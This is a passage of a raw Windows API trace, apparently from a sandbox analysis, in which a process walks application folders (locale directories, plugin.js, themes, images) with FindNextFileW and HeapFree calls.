ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.512] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.512] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.513] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.513] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.513] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.513] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.513] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.513] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.514] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.514] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.514] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.514] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.514] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.514] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.515] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.515] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.515] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.516] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0190.516] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0190.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.516] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3506b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0190.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.517] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0190.517] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0190.517] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0190.520] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1 [0190.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.521] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0190.523] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.523] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0416745, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="empty.png", cAlternateFileName="")) returned 1 [0190.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0190.524] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0190.524] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0190.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.524] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0190.524] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0190.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.524] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="file_info.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0190.670] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.750] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0190.751] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0190.751] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.751] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0190.751] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0190.751] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.753] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0190.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.757] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1 [0190.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.761] FindNextFileW (in: hFindFile=0x45648f8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0190.761] FindClose (in: hFindFile=0x45648f8 | out: hFindFile=0x45648f8) returned 1 [0190.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.761] FindNextFileW (in: hFindFile=0x4564ab8, lpFindFileData=0x2eada30 | out: lpFindFileData=0x2eada30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0190.761] FindClose (in: hFindFile=0x4564ab8 | out: hFindFile=0x4564ab8) returned 1 [0190.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.761] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0190.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5440070 | out: hHeap=0x710000) returned 1 [0190.761] FindNextFileW (in: hFindFile=0x4564ff8, lpFindFileData=0x2eada30 | out: lpFindFileData=0x2eada30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0190.762] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.762] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.762] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.762] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.763] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.763] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.763] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.763] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.764] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.764] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.764] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.764] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5450078 | out: hHeap=0x710000) returned 1 [0190.764] FindNextFileW (in: hFindFile=0x4564ef8, lpFindFileData=0x2ead7b4 | out: lpFindFileData=0x2ead7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 